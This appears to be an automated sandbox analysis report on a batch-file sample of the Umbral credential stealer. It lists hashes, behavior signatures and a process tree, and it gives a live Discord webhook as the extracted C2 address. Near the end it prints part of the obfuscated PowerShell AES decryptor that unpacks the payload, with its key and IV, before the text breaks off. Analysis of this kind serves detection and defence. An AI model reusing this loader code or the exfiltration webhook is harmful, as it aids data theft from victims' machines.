Analysis
-
max time kernel
118s -
max time network
99s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
12-10-2024 09:03
Static task
static1
Behavioral task
behavioral1
Sample
Umbral.bat
Resource
win10v2004-20241007-en
windows10-2004-x64
16 signatures
300 seconds
General
-
Target
Umbral.bat
-
Size
468KB
-
MD5
50c1619dde4c59211f2220d19fd7a2ff
-
SHA1
f89a90307b00ff0bd2733642ea43427bc304c730
-
SHA256
b99eb432b5d440a41faf8ed09c3df4ff0cf82ca13fefed8c2cb56ca96960ab4d
-
SHA512
ed591a3357cc3e3487b708f2e08a74683c93d5e5e16d1978f90f4dc37b77f147bb36ba3cb55318d146c0831f7636baa22006b6c9960db3e8a72dbdc798efb627
-
SSDEEP
12288:7WdGCJGwwo92cPLI0O8JtFDUB9PvBxdCAI2hlojjF9xq:SNswwxcjJngP3PdCVuM9xq
Score
10/10
Malware Config
Extracted
Family
umbral
C2
https://discord.com/api/webhooks/1289565581565104128/6_mwv0w1S5A0l9XLPkwW6UmUZxdAw3mP7dh5lsWmFsgqgu5kJGEszt1-zAw_BajgNh6i
Signatures
-
Detect Umbral payload 1 IoCs
resource yara_rule behavioral1/memory/556-114-0x0000020CCAF20000-0x0000020CCAF60000-memory.dmp family_umbral -
Blocklisted process makes network request 2 IoCs
flow pid Process 17 556 powershell.exe 19 556 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 556 powershell.exe -
Indicator Removal: Clear Windows Event Logs 1 TTPs 2 IoCs
Clear Windows Event Logs to hide the activity of an intrusion.
description ioc Process File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx svchost.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 18 ip-api.com -
Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe -
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe -
Modifies data under HKEY_USERS 1 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe -
Modifies registry class 26 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1 svchost.exe Key created \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU svchost.exe Key created \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU\PCT = "133731974155117292" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133731974150403856" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133731974456438522" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133731974582375772" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133731974596594631" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy svchost.exe Key created \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1 svchost.exe Key created \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy svchost.exe Key created \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI svchost.exe Key created \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133731974218867505" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\ICT = "133727712795849566" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\ShellFeedsUI\V1\LU\PTT = "133731974777185594" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App svchost.exe Key created \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133731974453938428" svchost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ Explorer.EXE Set value (int) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133731974220273623" svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133731974223086120" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI svchost.exe Set value (int) \REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.Search_cw5n1h2txyewy\HAM\AUI\CortanaUI\V1\LU\PCT = "133727712793662023" svchost.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 556 powershell.exe 556 powershell.exe 556 powershell.exe 556 powershell.exe 556 powershell.exe 556 powershell.exe 556 powershell.exe 556 powershell.exe 556 powershell.exe 556 powershell.exe 556 powershell.exe 556 powershell.exe 556 powershell.exe 556 powershell.exe 556 powershell.exe 556 powershell.exe 3156 taskmgr.exe 3156 taskmgr.exe 556 powershell.exe 556 powershell.exe 556 powershell.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe -
Suspicious behavior: GetForegroundWindowSpam 2 IoCs
pid Process 3156 taskmgr.exe 3632 Explorer.EXE -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 556 powershell.exe Token: SeShutdownPrivilege 3632 Explorer.EXE Token: SeCreatePagefilePrivilege 3632 Explorer.EXE Token: SeAssignPrimaryTokenPrivilege 2112 svchost.exe Token: SeIncreaseQuotaPrivilege 2112 svchost.exe Token: SeSecurityPrivilege 2112 svchost.exe Token: SeTakeOwnershipPrivilege 2112 svchost.exe Token: SeLoadDriverPrivilege 2112 svchost.exe Token: SeSystemtimePrivilege 2112 svchost.exe Token: SeBackupPrivilege 2112 svchost.exe Token: SeRestorePrivilege 2112 svchost.exe Token: SeShutdownPrivilege 2112 svchost.exe Token: SeSystemEnvironmentPrivilege 2112 svchost.exe Token: SeUndockPrivilege 2112 svchost.exe Token: SeManageVolumePrivilege 2112 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2112 svchost.exe Token: SeIncreaseQuotaPrivilege 2112 svchost.exe Token: SeSecurityPrivilege 2112 svchost.exe Token: SeTakeOwnershipPrivilege 2112 svchost.exe Token: SeLoadDriverPrivilege 2112 svchost.exe Token: SeSystemtimePrivilege 2112 svchost.exe Token: SeBackupPrivilege 2112 svchost.exe Token: SeRestorePrivilege 2112 svchost.exe Token: SeShutdownPrivilege 2112 svchost.exe Token: SeSystemEnvironmentPrivilege 2112 svchost.exe Token: SeUndockPrivilege 2112 svchost.exe Token: SeManageVolumePrivilege 2112 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2112 svchost.exe Token: SeIncreaseQuotaPrivilege 2112 svchost.exe Token: SeSecurityPrivilege 2112 svchost.exe Token: SeTakeOwnershipPrivilege 2112 svchost.exe Token: SeLoadDriverPrivilege 2112 svchost.exe Token: SeSystemtimePrivilege 2112 svchost.exe Token: SeBackupPrivilege 2112 svchost.exe Token: SeRestorePrivilege 2112 svchost.exe Token: SeShutdownPrivilege 2112 svchost.exe Token: SeSystemEnvironmentPrivilege 2112 svchost.exe Token: SeUndockPrivilege 2112 svchost.exe Token: SeManageVolumePrivilege 2112 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2112 svchost.exe Token: SeIncreaseQuotaPrivilege 2112 svchost.exe Token: SeSecurityPrivilege 2112 svchost.exe Token: SeTakeOwnershipPrivilege 2112 svchost.exe Token: SeLoadDriverPrivilege 2112 svchost.exe Token: SeSystemtimePrivilege 2112 svchost.exe Token: SeBackupPrivilege 2112 svchost.exe Token: SeRestorePrivilege 2112 svchost.exe Token: SeShutdownPrivilege 2112 svchost.exe Token: SeSystemEnvironmentPrivilege 2112 svchost.exe Token: SeUndockPrivilege 2112 svchost.exe Token: SeManageVolumePrivilege 2112 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2112 svchost.exe Token: SeIncreaseQuotaPrivilege 2112 svchost.exe Token: SeSecurityPrivilege 2112 svchost.exe Token: SeTakeOwnershipPrivilege 2112 svchost.exe Token: SeLoadDriverPrivilege 2112 svchost.exe Token: SeSystemtimePrivilege 2112 svchost.exe Token: SeBackupPrivilege 2112 svchost.exe Token: SeRestorePrivilege 2112 svchost.exe Token: SeShutdownPrivilege 2112 svchost.exe Token: SeSystemEnvironmentPrivilege 2112 svchost.exe Token: SeUndockPrivilege 2112 svchost.exe Token: SeManageVolumePrivilege 2112 svchost.exe Token: SeAssignPrimaryTokenPrivilege 2112 svchost.exe -
Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3632 Explorer.EXE 3632 Explorer.EXE 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3632 Explorer.EXE 3632 Explorer.EXE 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe -
Suspicious use of SendNotifyMessage 64 IoCs
pid Process 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe 3156 taskmgr.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3660 wrote to memory of 3484 3660 cmd.exe 88 PID 3660 wrote to memory of 3484 3660 cmd.exe 88 PID 3660 wrote to memory of 556 3660 cmd.exe 89 PID 3660 wrote to memory of 556 3660 cmd.exe 89 PID 556 wrote to memory of 3632 556 powershell.exe 56 PID 556 wrote to memory of 392 556 powershell.exe 14 PID 556 wrote to memory of 1768 556 powershell.exe 31 PID 556 wrote to memory of 2752 556 powershell.exe 47 PID 556 wrote to memory of 1540 556 powershell.exe 26 PID 556 wrote to memory of 3532 556 powershell.exe 55 PID 556 wrote to memory of 2056 556 powershell.exe 71 PID 556 wrote to memory of 1556 556 powershell.exe 27 PID 556 wrote to memory of 1748 556 powershell.exe 30 PID 556 wrote to memory of 2140 556 powershell.exe 39 PID 556 wrote to memory of 956 556 powershell.exe 12 PID 556 wrote to memory of 4488 556 powershell.exe 69 PID 556 wrote to memory of 1136 556 powershell.exe 19 PID 556 wrote to memory of 1332 556 powershell.exe 23 PID 556 wrote to memory of 4676 556 powershell.exe 75 PID 556 wrote to memory of 2112 556 powershell.exe 38 PID 556 wrote to memory of 868 556 powershell.exe 15 PID 556 wrote to memory of 1112 556 powershell.exe 18 PID 556 wrote to memory of 2688 556 powershell.exe 46 PID 556 wrote to memory of 1308 556 powershell.exe 22 PID 556 wrote to memory of 1896 556 powershell.exe 34 PID 556 wrote to memory of 900 556 powershell.exe 11 PID 556 wrote to memory of 1884 556 powershell.exe 33 PID 556 wrote to memory of 1680 556 powershell.exe 29 PID 556 wrote to memory of 1104 556 powershell.exe 17 PID 556 wrote to memory of 2260 556 powershell.exe 41 PID 556 wrote to memory of 2844 556 powershell.exe 50 PID 556 wrote to memory of 1464 556 powershell.exe 25 PID 556 wrote to memory of 1660 556 powershell.exe 28 PID 556 wrote to memory of 2444 556 powershell.exe 43 PID 556 wrote to memory of 2816 556 powershell.exe 49 PID 556 wrote to memory of 4804 556 powershell.exe 65 PID 556 wrote to memory of 2636 556 powershell.exe 45 PID 556 wrote to memory of 2436 556 powershell.exe 42 PID 556 wrote to memory of 1056 556 powershell.exe 16 PID 556 wrote to memory of 4000 556 powershell.exe 66 PID 556 wrote to memory of 1240 556 powershell.exe 21 PID 556 wrote to memory of 1428 556 powershell.exe 36 PID 556 wrote to memory of 1420 556 powershell.exe 24 PID 556 wrote to memory of 1824 556 powershell.exe 32 PID 556 wrote to memory of 2192 556 powershell.exe 53 PID 556 wrote to memory of 2184 556 powershell.exe 40 PID 556 wrote to memory of 3756 556 powershell.exe 57 PID 556 wrote to memory of 1980 556 powershell.exe 35 PID 556 wrote to memory of 796 556 powershell.exe 10 PID 556 wrote to memory of 3828 556 powershell.exe 68 PID 556 wrote to memory of 1184 556 powershell.exe 20 PID 796 wrote to memory of 2504 796 svchost.exe 90 PID 796 wrote to memory of 2504 796 svchost.exe 90 PID 3632 wrote to memory of 3156 3632 Explorer.EXE 91 PID 3632 wrote to memory of 3156 3632 Explorer.EXE 91 PID 556 wrote to memory of 3156 556 powershell.exe 91 PID 556 wrote to memory of 1836 556 powershell.exe 92 PID 556 wrote to memory of 1836 556 powershell.exe 92 PID 796 wrote to memory of 3936 796 svchost.exe 94 PID 796 wrote to memory of 3936 796 svchost.exe 94 PID 796 wrote to memory of 3936 796 svchost.exe 94 PID 796 wrote to memory of 3940 796 svchost.exe 96 PID 796 wrote to memory of 3940 796 svchost.exe 96 PID 796 wrote to memory of 3940 796 svchost.exe 96
Processes
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:796 -
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding2⤵PID:2504
-
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:3936
-
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:3940
-
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵PID:3900
-
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}2⤵PID:5028
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵PID:900
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:956
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:392
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:868
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵PID:1056
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1104
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1112
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1136
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1184
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1240
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1308
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1332
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1420
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1464
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1540
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1556
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1660
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1680
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1748
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1768
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1824
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1884
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1896
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1980
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1428
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2112
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵PID:2140
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2184
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2260
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2436
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2444
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2636
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:2688
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2752
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2816
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2844
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵PID:2192
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:3532
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3632 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Umbral.bat"2⤵
- Suspicious use of WriteProcessMemory
PID:3660 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JBDmY5Rm32yFC2eFK/K6i05UDHc2UnMQkJErjy0URRw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hIqIhLZZ4mABnJftMk1zig=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $LaItK=New-Object System.IO.MemoryStream(,$param_var); $BkPnB=New-Object System.IO.MemoryStream; 